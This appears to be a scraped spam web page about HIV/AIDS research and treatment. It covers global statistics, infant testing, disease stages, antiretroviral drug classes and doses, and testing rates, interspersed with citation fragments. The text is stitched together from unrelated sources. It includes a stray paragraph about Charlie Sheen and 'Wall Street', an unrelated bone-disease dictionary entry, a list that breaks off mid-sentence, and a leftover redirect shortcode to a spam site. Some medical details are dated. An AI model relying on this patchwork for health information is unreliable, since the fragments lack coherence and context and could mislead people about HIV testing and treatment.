HIV/AIDS research includes all medical research that attempts to prevent, treat, or cure HIV/AIDS, as well as fundamental research about the nature of HIV as an infectious agent and AIDS as the disease caused by HIV.
According to the Joint United Nations Programme on HIV/AIDS (UNAIDS),  worldwide in 2015, approximately 36.7 million people (1% of the global adult population aged 15-49 years) were infected with HIV, a decline from 2006 (39.5 million reported at that time). UNAIDS estimates that approximately 2.1 million people were newly infected with HIV and that 1.1 million people died of AIDS in 2015, both statistics showing a decline over time.
The CDC recommends HIV testing as a part of standard prenatal care for all pregnant women. When a pregnant woman tests positive for HIV, testing of her infant ideally begins within 48 hours of birth. Testing is repeated at between 1 and 2 months of age and again at age 3-6 months. Testing of infants uses a different technique to detect the presence of HIV virus. Infants can be diagnosed by direct culture of the HIV virus, PCR testing, and p24 antigen testing. By one month of age, results are highly accurate. Diagnostic blood testing in children older than 18 months is similar to adult testing, with ELISA screening confirmed by Western blot.
Jump up ^ Cunningham AL, Donaghy H, Harman AN, Kim M, Turville SG (2010). “Manipulation of dendritic cell function by viruses”. Current Opinion in Microbiology. 13 (4): 524–529. doi:10.1016/j.mib.2010.06.002. PMID 20598938.
The course of HIV infection involves three stages: primary HIV infection, the asymptomatic phase, and AIDS. During the first stage the transmitted HIV replicates rapidly, and some persons may experience an acute flulike illness that usually persists for one to two weeks. During that time a variety of symptoms may occur, such as fever, enlarged lymph nodes, sore throat, muscle and joint pain, rash, and malaise. Standard HIV tests, which measure antibodies to the virus, are initially negative, because HIV antibodies generally do not reach detectable levels in the blood until a few weeks after the onset of the acute illness. As the immune response to the virus develops, the level of HIV in the blood decreases.
Newborn babies of HIV-positive mothers may also receive medication. Studies have found that giving a mother antiretroviral medications during pregnancy, labor, and delivery can reduce the chance of transmission of HIV to the baby to less than 2 percent.
(Acquired Immune Deficiency Syndrome) An immunological disorder in which the body’s immune response system becomes defective, leaving the sufferer open to opportunistic infections and some forms of cancer, such as Kaposi’s sarcoma. It is caused by infection with the HIV virus, transmitted mainly through sexual intercourse or infected blood products.
Aberg JA, Gallant JE, Ghanem KG, Emmanuel P, Zingman BS, Horberg MA. Primary Care Guidelines for the Management of Persons Infected With HIV: 2013 Update by the HIV Medicine Association of the Infectious Diseases Society of America. Clin Infect Dis. 2013 Nov 13. [Medline].
Sheen and Stone teamed up again in 1987 with “Wall Street,” in which Sheen played an up-and-coming broker seduced by Michael Douglas’ Gordon Gekko. Douglas’ performance won an Oscar, and Sheen’s own stock went up.
HIV is transmitted when the virus enters the body, usually by infected immune cells in blood, vaginal fluids, or semen. Having the following risk factors increases the chance a person may become infected with HIV.
defective virus one that cannot be completely replicated or cannot form a protein coat; in some cases replication can proceed if missing gene functions are supplied by other viruses; see also helper virus.
Macrophages. Tissue macrophages are one of the target cells for HIV. These macrophages harbour the virus and are known to be the source of viral proteins. However, the infected macrophages are shown to lose their ability to ingest and kill foreign microbes and present antigen to T cells. This could have a major contribution in overall immune dysfunction caused by HIV infection.
In IRIS, symptoms of various infections worsen or appear for the first time because immune responses improve (are reconstituted), increasing inflammation at sites of infection. Symptoms sometimes worsen because parts of dead viruses persist, triggering immune responses.
PIs block the action of an HIV enzyme called protease that allows HIV to produce infectious copies of itself within HIV-infected human cells. Thus, blocking protease prevents HIV in already-infected cells from producing HIV that can infect other, not yet infected cells.
The available drug in this class was RAL, which is very potent at suppressing HIV in all patients who have never been on this drug or others in the class. It was initially approved for treatment-experienced patients with drug-resistant virus. It is also now approved for those starting therapy for the first time. The approved dose of RAL is 400 mg twice daily with a recently approved new formulation that can be given to those starting therapy for the first time or stably suppressed on RAL twice daily that can be given as two 600 mg tablets once daily. As noted above, a second drug in this class, EVG, is approved for use as first-line therapy as part of the fixed-dose combination pill of TDF/FTC/COBI/EVG and more recently TAF/FTC/COBI/EVG as a stand-alone drug for use in treatment-experienced patients combining it with a ritonavir-boosted PI. This drug is well tolerated and given as one pill per day, but unlike RAL it does need to be taken with food and it has interactions with other drugs since it must be used with RTV or COBI, so it must be used with caution in those on multiple medications. Another InSTI, DTG is currently recommended for those starting therapy for the first time with either TDF/FTC or ABC/3TC and is available as a fixed-dose combination of ABC/3TC/DTG that can be given as a single pill per day. This drug has a limited number of drug-drug interactions and is generally well tolerated with resistance rarely emerging in those experience virologic failure. Another InSTI in advanced stages of development is called bictegravir (BIC) that has few drug-drug interactions, is potent, well-tolerated, and can be given with or without food. It is expected to be approved as a single-tablet regimen as BIC/FTC/TAF.
Sexually transmitted diseases, or STDs, are infections that are transmitted during any type of sexual exposure, including intercourse (vaginal or anal), oral sex, and the sharing of sexual devices, such as vibrators. Women can contract all of the STDs, but may have no symptoms, or have different symptoms than men do. Common STDs in women are:
Among persons interviewed through NHBS, the percentage reporting an HIV test in the 12 months preceding the interview increased over time among MSM (from 63% in 2008 to 71% in 2014), persons who inject drugs (from 50% in 2009 to 58% in 2015), and heterosexual persons at increased risk for infection (from 34% in 2010 to 41% in 2016) (Figure 2). The prevalence of testing in the past 12 months was higher among females than among males, among both persons who inject drugs (males, 57%; females, 59%), and heterosexual persons at increased risk (males, 39%; females, 42%). Prevalence of testing was also higher among black persons who inject drugs (and heterosexual Asians, although the numbers were small) than among persons of other race/ethnicity and persons aged 25–34 years (and persons aged 35–44 years who inject drugs) than among other age categories in each risk group (Table 2).
DHHS Panel on Antiretroviral Guidelines for Adults and Adolescents. “Guidelines for the Use of Antiretroviral Agents in HIV-1 Infected Adults and Adolescents.” Washington D.C.: Department of Health and Human Services, 2017.
Antiretroviral therapy (ART) is the use of HIV medicines to treat HIV infection. People on ART take a combination of HIV medicines (called an HIV regimen) every day. (HIV medicines are often called antiretrovirals or ARVs.)
Nievergelt-Pearlman syndrome rare autosomal-dominant bone disease causing lower-limb ‘rhomboidal’ tibia/fibula (crura rhomboidei), joint dysplasias, genu valgum, club foot, deformed toes; more common in males
Jump up ^ Ouellet DL, Plante I, Landry P, Barat C, Janelle ME, Flamand L, Tremblay MJ, Provost P (April 2008). “Identification of functional microRNAs released through asymmetrical processing of HIV-1 TAR element”. Nucleic Acids Research. 36 (7): 2353–65. doi:10.1093/nar/gkn076. PMC 2367715 . PMID 18299284.
Despite significant efforts, there is no effective vaccine against HIV. The only way to prevent infection by the virus is to avoid behaviors that put one at risk, such as sharing needles or having unprotected sex. Unprotected sex means sex without a barrier such as a condom. Because condoms break, even they are not perfect protection. Many people infected with HIV don’t have any symptoms and appear healthy. There is no way to know with certainty whether a sexual partner is infected. Here are some prevention strategies:
Preexposure Prophylaxis for the Prevention of HIV Infection in the United States – 2014 Clinical Practice Guideline. Centers for Disease Control and Prevention. May 2014. Available at http://www.cdc.gov/hiv/pdf/PrEPguidelines2014.pdf.
Jump up ^ Orsi, F; d’almeida, C (May 2010). “Soaring antiretroviral prices, TRIPS and TRIPS flexibilities: a burning issue for antiretroviral treatment scale-up in developing countries”. Current Opinion in HIV and AIDS. 5 (3): 237–41. doi:10.1097/COH.0b013e32833860ba. PMID 20539080.
(See also the US Public Health Service and the HIV Medicine Association of the Infectious Diseases Society of America’s Guidelines for Prevention and Treatment of Opportunistic Infections in HIV-Infected Adults and Adolescents.)
HIV produces cellular immune deficiency characterized by the depletion of helper T lymphocytes (CD4+ cells). The loss of CD4+ cells results in the development of opportunistic infections and neoplastic processes.
Protease inhibitors. Protease inhibitors work by disabling protease, an enzyme necessary for HIV reproduction. Protease inhibitors include saquinavir (Invirase), ritonavir (Norvire), indinavir (Crixivan), nelfinavir (Viracept), amprenavir (Agenerase), kaletra, and many others.
In May 2007, the WHO and UNAIDS issued new guidance recommending “provider-initiated” HIV testing in healthcare settings. This aimed to widen knowledge of HIV status and greatly increase access to HIV treatment and prevention.83 [redirect url=’http://penetratearticles.info/bump’ sec=’7′]